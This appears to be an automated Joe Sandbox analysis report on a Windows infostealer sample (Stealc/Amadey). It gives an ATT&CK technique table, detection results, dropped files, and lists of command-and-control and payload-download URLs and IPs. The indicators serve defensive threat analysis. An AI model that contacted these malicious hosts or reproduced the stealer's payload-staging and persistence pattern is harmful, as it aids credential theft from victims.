Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	12 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	761 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	251 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	251 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	61%	ReversingLabs	Win32.Spyware.Stealc
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	61%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	61%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
http://77.91.77.81/mine/amadka.exe	100%	Avira URL Cloud	malware
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Avira URL Cloud	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpO	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://85.28.47.4/	100%	Avira URL Cloud	malware
http://77.91.77.81/cost/go.exe	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/vcruntime140.dllw9	100%	Avira URL Cloud	malware
http://upx.sf.net	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Avira URL Cloud	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://77.91.77.82/Hun4Ko/index.php_	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.phpGw	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/softokn3.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php%	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exe50673b5d7	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/mozglue.dll	100%	Avira URL Cloud	malware
http://85.28.47.43	0%	Avira URL Cloud	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php?	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/nss3.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php;	100%	Avira URL Cloud	phishing
http://77.91.77.81/stealc/random.exe3U	100%	Avira URL Cloud	phishing
http://85.28.47.4/920475a59bac849d.phpD	100%	Avira URL Cloud	malware
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exephprefoxx	100%	Avira URL Cloud	phishing
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe00	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/freebl3.dll	100%	Avira URL Cloud	malware
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
https://mozilla.org0/	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.php	100%	Avira URL Cloud	malware
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.phpon	100%	Avira URL Cloud	malware
http://85.28.47.4/920475a59bac849d.phpN	100%	Avira URL Cloud	malware
http://85.28.47.4/920475a59bac849d.phpW	100%	Avira URL Cloud	malware
http://77.91.77.81/cost/go.exeData	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	100%	Avira URL Cloud	malware
http://77.91.77.81/stealc/random.exe	100%	Avira URL Cloud	phishing
http://77.91.77.81/cost/go.exe00	100%	Avira URL Cloud	phishing
http://77.91.77.81/mine/amadka.exea	100%	Avira URL Cloud	phishing
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	100%	Avira URL Cloud	malware
http://85.28.47.4	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php8LzN	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phps	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpw	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php:_qX	0%	Avira URL Cloud	safe
http://pki-ocsp.symauth.com0	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.phph	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/mozglue.dllrK	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.81/mine/amadka.exe	true	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php	true	Avira URL Cloud: phishing	unknown
http://85.28.47.4/69934896f997d5bb/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/mozglue.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/nss3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.php	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	EGIDAFBAEBKKEBFIJEBKJKJJDA.0.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exe	file.exe, 00000000.00000002.1868074947.0000000000BA6000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.phpO	explorti.exe, 0000000A.00000002.4124214087.0000000001422000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://85.28.47.4/	2e80f9dd27.exe, 0000000C.00000002.1994535395.00000000018B4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dllw9	file.exe, 00000000.00000002.1869262770.0000000001D10000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	file.exe, random[1].exe.10.dr, 2e80f9dd27.exe.10.dr	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.1869262770.0000000001E24000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	false	Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	file.exe, random[1].exe.10.dr, 2e80f9dd27.exe.10.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php_	explorti.exe, 0000000A.00000002.4124214087.0000000001422000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000002.1868074947.0000000000B48000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1724576135.000000002365D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpGw	explorti.exe, 0000000A.00000002.4124214087.0000000001457000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exe50673b5d7	explorti.exe, 0000000A.00000002.4124214087.00000000013F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	HCFIJKKKKKFCAAAAFBKF.0.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php%	explorti.exe, 0000000A.00000002.4124214087.0000000001422000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	explorti.exe, 0000000A.00000002.4124214087.0000000001422000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	file.exe, 00000000.00000002.1868074947.0000000000B48000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.43	2e80f9dd27.exe, 0000000C.00000002.1994535395.000000000189E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php?	explorti.exe, 0000000A.00000002.4124214087.0000000001422000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe	file.exe, 00000000.00000002.1868074947.0000000000B48000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php;	explorti.exe, 0000000A.00000002.4124214087.0000000001422000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://77.91.77.81/stealc/random.exe3U	explorti.exe, 0000000A.00000002.4124214087.00000000013F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.1869262770.0000000001E24000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/920475a59bac849d.phpD	2e80f9dd27.exe, 0000000C.00000002.1994535395.00000000018D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1889599218.000000001D494000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1900699942.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://77.91.77.81/mine/amadka.exephprefoxx	file.exe, 00000000.00000002.1868074947.0000000000BA6000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: phishing	unknown
http://77.91.77.81/mine/amadka.exe00	file.exe, 00000000.00000002.1868074947.0000000000BA6000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.1869262770.0000000001E24000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/920475a59bac849d.phpN	2e80f9dd27.exe, 0000000C.00000002.1994535395.00000000018D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.phpon	2e80f9dd27.exe, 0000000C.00000002.1994535395.00000000018B4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.phpW	2e80f9dd27.exe, 0000000C.00000002.1994535395.00000000018B4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://77.91.77.81/cost/go.exeData	file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: phishing	unknown
http://77.91.77.81/stealc/random.exe	explorti.exe, 0000000A.00000002.4124214087.00000000013F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/cost/go.exe00	file.exe, 00000000.00000002.1868074947.0000000000BA6000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: phishing	unknown
http://77.91.77.81/mine/amadka.exea	file.exe, 00000000.00000002.1868074947.0000000000BA6000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.1869262770.0000000001E24000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.4.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000002.1868074947.0000000000B48000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1724576135.000000002365D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EGIDAFBAEBKKEBFIJEBKJKJJDA.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4	file.exe, 00000000.00000002.1869262770.0000000001CBE000.00000004.00000020.00020000.00000000.sdmp, 2e80f9dd27.exe, 0000000C.00000002.1994535395.000000000189E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php8LzN	explorti.exe, 0000000A.00000002.4124214087.00000000013F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phps	explorti.exe, 0000000A.00000002.4124214087.0000000001422000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://85.28.47.4/920475a59bac849d.phph	2e80f9dd27.exe, 0000000C.00000002.1994535395.00000000018B4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1869262770.0000000001E24000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	false	URL Reputation: safe	unknown
http://pki-ocsp.symauth.com0	file.exe, random[1].exe.10.dr, 2e80f9dd27.exe.10.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/mozglue.dllrK	file.exe, 00000000.00000002.1869262770.0000000001E24000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://support.mozilla.org	EGIDAFBAEBKKEBFIJEBKJKJJDA.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1732490287.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php:_qX	explorti.exe, 0000000A.00000002.4124214087.0000000001422000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpw	explorti.exe, 0000000A.00000002.4124214087.0000000001422000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
77.91.77.81	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	false
85.28.47.4	unknown	Russian Federation	31643	GES-ASRU	true
77.91.77.82	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467271
Start date and time:	2024-07-03 23:58:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@16/29@0/3
EGA Information:	Successful, ratio: 60%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target KKKJKEBKFC.exe, PID 4544 because it is empty
Execution Graph export aborted for target explorti.exe, PID 7584 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
17:59:21	API Interceptor	12853894x Sleep call for process: explorti.exe modified
22:59:19	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.91.77.81	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	d8gZVaN0ms.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, Vidar	Browse	77.91.77.81/Kiru9gu/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
85.28.47.4	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	85.28.47.4/920475a59bac849d.php

Domains

